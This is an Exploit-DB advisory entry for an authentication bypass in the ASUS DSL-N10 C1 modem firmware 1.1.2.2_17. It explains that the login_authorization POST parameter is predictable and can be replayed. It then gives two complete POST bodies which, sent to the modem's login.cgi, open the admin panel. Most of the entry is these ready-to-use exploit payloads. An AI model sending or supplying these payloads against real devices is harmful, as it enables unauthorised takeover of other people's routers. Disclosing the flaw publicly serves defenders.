ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass

EDB-ID: 45201
Author: AmnBAN
Published: 2018-08-15
CVE: N/A
Type: Webapps
Platform: Hardware
Vulnerable App: N/A 

 # Author: AmnBAN team 
 # Date: 2018-08-06 
 # Vendor Homepage: https://www.asus.com/Networking/DSLN10_C1_with_5dBi_antenna/ 
 # Sofrware version: 1.1.2.2_17 
 # CVE: N/A 
  
 # 1. Description: 
 # In ASUS-DSL N10 C1 modem Firmware Version 1.1.2.2_17 there is login_authorization  
 # parameter in post data, that use for authorization access to admin panel,  
 # the data of this parameter is not fully random and you can use old data  
 # or data of another device to access admin panel. 
  
 # 2. Proof of Concept: 
 # Browse http://<Your Modem IP>/login.cgi 
  
 # Send this post data: 
 group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=YWRtaW46MQ%3D%2D 
  
 # Or this post data: 
 group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=FWRtaW46MQ%3D5D

Source: www.exploit-db.com
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